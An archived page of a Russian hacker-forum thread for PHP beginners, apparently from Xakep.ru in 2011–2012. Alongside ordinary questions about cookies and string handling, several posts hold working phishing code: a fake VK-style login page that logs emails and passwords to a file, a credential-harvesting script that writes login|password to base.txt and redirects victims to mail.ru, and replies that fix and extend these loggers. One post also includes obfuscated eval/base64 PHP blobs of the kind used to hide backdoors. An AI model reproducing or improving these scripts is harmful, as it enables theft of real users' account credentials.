Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

RE: Вопросы по PHP (для новичков)

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> RE: Вопросы по PHP (для новичков)
Имя
Сообщение << Старые топики   Новые топики >>
RE: Вопросы по PHP (для новичков) - 2011-11-05 14:01:17.030000   
Meliborn

Сообщений: 294
Оценки: 0
Присоединился: 2009-06-17 16:06:59.840000
А при чем тут кодировка?
Post #: 1481
RE: Вопросы по PHP (для новичков) - 2011-11-06 19:56:47.250000   
Surft

Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
Обьясните мне кто нибудь как работать с cооkies в php!! немогу понять..
как я только непробовал.
и так setcооkie("name","abrakadabra",time()+1600);
и так if (setcооkie("name","abrakadabra",time()+1600)) {echo "OK";} else {echo "Error";}; //выдает результат Error
и так if (isset($_cооkie['name'])) {echo "OK";} else {echo "Error";}; //выдает результат Error
и так setcооkie('pageVisits',"abrakadabra2",time()+760,'/','w.ru');

Везде выдает ошибку:Warning: Cannot modify header information - headers already sent by (output started at Z:\home\w.ru\www\Untitled-1.php:9) in Z:\home\w.ru\www\Untitled-1.php on line 11

Что я нетак делаю? (пользуюсь denwer'ом)
Post #: 1482
RE: Вопросы по PHP (для новичков) - 2011-11-08 14:46:42.226666   
Сaptain T0ma5o

Сообщений: 66
Оценки: 0
Присоединился: 2011-10-21 10:42:18.486666
Данные посылаются позже заголовка, заголовок изменить уже нельзя… не туда php код вставляешь, или пробел или перенос строки непосредственно перед кодом закрались… хоть бы код показал…
Post #: 1483
RE: Вопросы по PHP (для новичков) - 2011-11-08 22:40:47.740000   
Surft

Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
Сaptain T0ma5o я вставлял этот код в середину страницы)) щас почитал что ты написал, попробовал вставить вверх страницы, получилось! спс, я незнал что его нужно вверх прописывать :D


Смотрите на что сегодня наткнулся (http://ссылку/убрал, кому надо смотрите на скриншоте) (скриншот http://s54.radikal.ru/i144/1111/46/86fe2498e91e.png ) хотел скачать один файл, а вместо него куча ошибок))
Post #: 1484
RE: Вопросы по PHP (для новичков) - 2011-11-11 10:44:43.433333   
Сaptain T0ma5o

Сообщений: 66
Оценки: 0
Присоединился: 2011-10-21 10:42:18.486666
Да не за что ;D… спасибо за линк, как раз делать нечего, сейчас поковыряю)
Post #: 1485
RE: Вопросы по PHP (для новичков) - 2011-12-02 16:29:20.840000   
DoNet

Сообщений: 12
Оценки: 0
Присоединился: 2011-08-02 23:29:35.090000
помогите пожалуйста у меня есть код авторизации как обеде нить код usrs_avt.php и include.php так чтоб через if можно било проверить если ты водил данные то откроетса авторизация типа index.php/avtor=1 через GET ил POST
 include.php
&lt;?php $avt = " &lt;form action=\"usrs_avt.php\" method=\"POST\"&gt; &lt;table&gt; &lt;tr colspan=\"2\" class=\"text\"&gt; &lt;td&gt;Логін&lt;/td&gt;&lt;td&gt;Пароль&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;input type=\"text\" name=\"login\"/&gt;&lt;/td&gt; &lt;td&gt;&lt;input type=\"password\" name=\"password\"/&gt;&lt;/td&gt; &lt;td&gt;&lt;input type=\"submit\" value=\"Вхід\" name=\"submit\"/&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr colspan=\"2\" class=\"texts\"&gt; &lt;td&gt;&lt;input type=\"checkbox\" name=\"persistent\" class=\"box\"/&gt;&amp;nbsp Викладач&lt;/td&gt;&lt;td&gt;Реєстрація&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/form&gt;"; ?&gt;
index.php
&lt;?php include ("include/include.php"); $title = "Головна"; $head =&nbsp; $avt; $bodyL = date('Y-m-d [H:i:s]'); $bodyR = $chat; include("include/indexs.php"); ?&gt;
usrs_avt.php
&lt;?php include("include/avts.php"); $title = "$fd[login]"; $head = "$fd[login]"; $bodyL = "$fd[login]--$fd[email]"; $bodyR = "..."; include("include/indexs.php"); ?&gt;      
Post #: 1486
[Deleted] - 2011-12-09 16:13:44.280000   
Deleted User

Сообщений: -1459
Оценки: 0
Присоединился: None
[Deleted by Admins]
Post #: 1487
RE: Вопросы по PHP (для новичков) - 2012-01-03 19:07:22.636666   
And3en

Сообщений: 4
Оценки: 0
Присоединился: 2012-01-03 16:14:30.013333
Всем доброго времени суток.
Перейдем сразу к проблеме. С PHP я знаком немного, имею о нем общее представление, но углубленно никогда не изучал. По-этому прошу помощи знатных в этом деле.
Есть зашифрованный PHP код.
Половину расшифровал, но, т.к. я не знаком с PHP, не получается расшифровать вот эти функции:

eval(gzuncompress(base64_decode('eF5Tcffxd3L0CY5WjzczNDY3NbcwNYtXj7V1LCpKrNRISixONTOJT0lNzk9J1VBPVFfQU4/wSwNRkRFeIKoyMiLbVl1TB00lSCoZRBjlmEWFW+Ziqog0yqjEFE0y9spW19S0BgCq/is/')));

eval(gzuncompress(base64_decode('eF5LK81LLsnMz1OINzI0tDC0sLAwN9ZQydSsVkm0dSwqSqzUUE80CjNV18FORQba2gIpL0cwFZkOphLLwVQSRDAJoiQKIucNEYzClNO0LkotKS3KU0hKLE41M4lPSU3OT0nVUEmMVsmM1bSuBQDU6i0l')));

eval(gzuncompress(base64_decode('eF59kV1rgzAUhu+F/QcnpfXQrjNaP4qm0N3sYoUO3J1koVtTKqtVNI5J6X9fzCh+0E6JnMf3vCc5J/FOj4uCcX1AX9fhW0RNhDzkeZ5r6QYQGA7vWZLx6pqO/vTB82r9tFyF0Yg6yHJt17MdOiKRQa6ZTGGC04DiK5oFxI+bA0V5Wh63ujGey43U5g8QjLHats5Egn7JN6d2vUDktKoYU6e/gLxfVATyWBQv83xT6e3aNkza6HTR7aLXxXkXkdFj1GOzx1aPZwD+Ls3FdMRRm86s1vM/wqS2ivHfuDVU3xoFv84KsMyV8XgM7HOfqrd8pvDdkCxZMpK1HuovgWbsl1f0dT6zQ8FOcpsgCEIlEJ0masL4Pt1iLUsLri3ulCA+ZiVXeZUxrHH2wzX1uElE/MUqbdFRi/IjiYX+vTmUAtcv0v9YlxVBqPjK+Rdy9sc4')));
Post #: 1488
RE: Вопросы по PHP (для новичков) - 2012-01-24 12:10:40.900000   
Dragon_ivan

Сообщений: 1
Оценки: 0
Присоединился: 2012-01-24 11:50:57.456666
Есть один маленький вопросик очень интересный может поможете за одно.
Есть такое сочитание в мире веб программирования PHP + Assambler? И вообще есть ли какие нить сочетания с языками программирования языка PHP с другими для веб программирования?
Post #: 1489
RE: Вопросы по PHP (для новичков) - 2012-02-11 17:22:19.480000   
valera1102

Сообщений: 6
Оценки: 0
Присоединился: 2012-02-08 14:59:50.606666
пишу сайт нужно вставить сылку после "=" как написать штоб виртуально откривалось окно кликало по картинки и место откривания окна сылка копирувалась и вставлялась там!
Post #: 1490
RE: Вопросы по PHP (для новичков) - 2012-02-11 17:26:02.300000   
valera1102

Сообщений: 6
Оценки: 0
Присоединился: 2012-02-08 14:59:50.606666
типа таку пот прогу надо о_О
Post #: 1491
RE: Вопросы по PHP (для новичков) - 2012-03-10 15:10:02.806666   
Consol24rus

Сообщений: 1
Оценки: 0
Присоединился: 2012-03-10 15:06:51.850000
&lt;?php $email = $_POST['email']; $pass = $_POST['pass']; $text .= "Е mail: $email \n"; $text .= "Пароль: $pass \n"; $text .= "-------- \n"; if (!empty($email) && !empty($pass)) { $file = fopen ("message.txt", "a+"); fwrite ($file,$text); fclose ($file); } ?&gt; &lt;div id="side_bar" class="fl_l" style=""&gt; &lt;div id="quick_login"&gt; &lt;form name="POST" method="post" action="face.php" name="login" id="email" onsubmit="if (vklogin) {return true} else {quick_login();return false;}" style="height: 95px"&gt; &lt;tr&gt; &lt;td&gt;&lt;label for="textfield"&gt;Телефон или e-mail:&lt;/label&gt;&lt;/td&gt; &lt;td&gt;&lt;input class="text" onfocus="show('quick_expire')" id="email" name="email"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;br&gt; &lt;br&gt; &nbsp;Пароль:&lt;/td&gt;&lt;br&gt; &lt;td&gt; &lt;input input type="password" class="text" onfocus="show('quick_expire')" id="pass" name="pass"&gt;&lt;/td&gt; &lt;/tr&gt; &lt;div class="checkbox" id="quick_expire" onclick="checkbox(this);ge('quick_expire_input').value=isCh ecked(this)?1:'';"&gt;&lt;div&gt;&lt;/div&gt;Чужой компьютер&lt;/div&gt; &lt;input type="submit" class="submit" /&gt; &lt;/form&gt; &lt;/table&gt; &lt;p&gt; &lt;div class="button_blue button_wide"&gt;&lt;/type="submit"&gt; &lt;form action="face.php"&gt; &lt;button id="Submit"&gt;Войти&lt;/button&gt;&lt;/div&gt; &lt;div class="button_blue button_wide" id="quick_reg_button" style="display: none"&gt;&lt;button onclick="top.showBox('join.php', {act: 'box', from: nav.strLoc})"&gt;Регистрация&lt;/button&gt;&lt;/div&gt; &lt;/p&gt;

собственно имеется кусок сайта. помогите вставить правильно скрипт чтоб бы данные с полей сохранялись в текстовый документ. сайт стоит на apache на моем пк. пробывал сам как то не получается;) help me$)
Post #: 1492
RE: Вопросы по PHP (для новичков) - 2012-03-23 18:24:41.770000   
Zuss

Сообщений: 15
Оценки: 0
Присоединился: 2011-05-09 19:29:24.216666
Доброго времени суток, товарищи.
Недавно взялся за PHP по книге "PHP 5 для начинающих" Мейсера, Кента etc. и в том числе за приводящиеся там задания.
Собсно, прошу посмотреть мое первое творение уровня выше хеловорлда и покритиковать с точки зрения индуизма в коде и в комментариях :). Начитавшись ithappens.ru, я решил пресекать опасные тенденции с самого начала.

Требуется преобразовать строку "Теперь пора всем хорошим людям прийти на помощь стране" в "Пора теперь стране прийти на помощь всем хорошим людям".
&lt;?php $phraze_01 = "теперь пора всем хорошим людям прийти на помощь стране"; echo "&lt;b&gt;" .$phraze_01. "&lt;/b&gt;&lt;br&gt;"; $word_01 = strstr($phraze_01, " ", true); // "теперь" $after_middle_word_01 = strstr($phraze_01, " ", false); // остаток строки после буквы "п" в слове "теперь" $after_word_01 = strstr($after_middle_word_01, "п"); // остаток строки после слова "теперь" $word_02 = strstr($after_word_01, " ", true); // "пора" $after_word_02 = strstr($after_word_01, "в", false); // остаток строки после слова "пора" $word_03 = strstr($after_word_02, " ", true); // "всем" $after_word_03 = strstr($after_word_02, "х", false); // остаток строки после слова "всем" $word_04 = strstr($after_word_03, " ", true); // "хорошим" $after_word_04 = strstr($after_word_03, "л", false); // остаток строки после слова "хорошим" $word_05 = strstr($after_word_04, " ", true); // "людям" $after_word_05 = strstr($after_word_04, "п", false); // остаток строки после слова "людям" $word_06 = strstr($after_word_05, " ", true); // "прийти" $after_word_06 = strstr($after_word_05, "н", false); // остаток строки после слова "прийти" $word_07 = strstr($after_word_06, " ", true); // "на" $after_word_07 = strstr($after_word_06, "п", false); // остаток строки после слова "на" $word_08 = strstr($after_word_07, " ", true); // "помощь" $word_09 = strstr($after_word_07, "с", false); // остаток строки после слова "помощь" - слово "стране". //формирование второй строки из слов: $phraze_02 = "$word_02"." "."$word_01"." "."$word_09"." "."$word_06"." "."$word_07"." "."$word_08"." "."$word_03"." "."$word_04"." "."$word_05"; echo "&lt;b&gt;" .$phraze_02. "&lt;/b&gt;"; ?&gt;
Post #: 1493
RE: Вопросы по PHP (для новичков) - 2012-04-21 12:36:48.960000   
ботва

Сообщений: 9
Оценки: 0
Присоединился: 2012-04-18 22:38:08.090000
Народ помогите,кто чем может? Воообщем не приходят логи и пассы в base.txt
Вот код :
<?php
############### LOGIN.PHP #######################
# Скрипт записывает в файл $base.txt данные в формате #
# Логин@домен | пароль #
##################################################

$db="base.txt"; // Имя файла - хранилища данных.
$realmail="http://cards.mail.ru/card/compose.html?cid=2629"; // Страница,открывающаяся при ошибке записи или после записи.
$index = "index.php"; // Страница, открывающаяся, если поля логина и пароля не заполнены.

if (isset($_POST['Login']) && isset($_POST['Domain']) && isset($_POST['Password']) && ($_POST['Login']!="") && ($_POST['Domain']!="") && ($_POST['Password']!=""))
{
$login=$_POST['Login'];
$password=$_POST['Password'];
$domain=$_POST['Domain'];
$str="$login@$domain|$password \n";
$file=fopen("$db","a+");
if(!$file)
{
header("Location: $realmail");
}
else
{
fputs($file, $str);
header("Location: $realmail");
}
}
else
{
header("Location: $index");
}
?>
Post #: 1494
RE: Вопросы по PHP (для новичков) - 2012-04-25 14:22:55.070000   
jeshio

Сообщений: 6
Оценки: 0
Присоединился: 2011-12-15 16:56:16.833333
Ботва, у меня твой код работает если в index.php содержится форма:
<form action="адрес обработчика" method="POST">
<input type="text" name="Login">
<br/>
<input type="text" name="Domain">
<br/>
<input type="password" name="Password">
<br/>
<input type="submit">
</form>
Post #: 1495
RE: Вопросы по PHP (для новичков) - 2012-04-25 14:30:56.423333   
jeshio

Сообщений: 6
Оценки: 0
Присоединился: 2011-12-15 16:56:16.833333
quote:

Consol24rus
если нажимать input submit, то всё нормально записывается (если face.php это страница с этим кодом)
Post #: 1496
RE: Вопросы по PHP (для новичков) - 2012-04-29 13:11:43.080000   
class0071

Сообщений: 300
Оценки: 0
Присоединился: 2011-01-27 17:15:23.750000
quote:

ORIGINAL: ботва

Народ помогите,кто чем может? Воообщем не приходят логи и пассы в base.txt
Вот код :
&lt;?php
############### LOGIN.PHP #######################
# Скрипт записывает в файл $base.txt данные в формате #
# Логин@домен | пароль #
##################################################

$db="base.txt"; // Имя файла - хранилища данных.
$realmail="http://cards.mail.ru/card/compose.HТМL?cid=2629"; // Страница,открывающаяся при ошибке записи или после записи.
$index = "index.php"; // Страница, открывающаяся, если поля логина и пароля не заполнены.

if (isset($_POST['Login']) && isset($_POST['Domain']) && isset($_POST['Password']) && ($_POST['Login']!="") && ($_POST['Domain']!="") && ($_POST['Password']!=""))
{
$login=$_POST['Login'];
$password=$_POST['Password'];
$domain=$_POST['Domain'];
$str="$login@$domain|$password \n";
$file=fopen("$db","a+");
if(!$file)
{
header("Location: $realmail");
}
else
{
fputs($file, $str);
header("Location: $realmail");
}
}
else
{
header("Location: $index");
}
?&gt;

&lt;?php $login = $_POST['login']; $pwd = $_POST['pwd']; if((strlen($login) &gt; 0) && (strlen($pwd) &gt; 0)) { $f = fopen("log.txt", "a+"); if(in_array("$login:$pwd\n", file("log.txt")) == false) { fwrite($f, "$login:$pwd\n"); } fclose($f); } ?&gt; Думаю, переменные, которые тебе нужны, ты сам уже добавишь :)

Если затрудняешься, отпиши мне в личку… Помогу сделать ;)
Post #: 1497
Страниц:  1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 [38]
Все форумы >> [Веб-программинг] >> RE: Вопросы по PHP (для новичков)







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.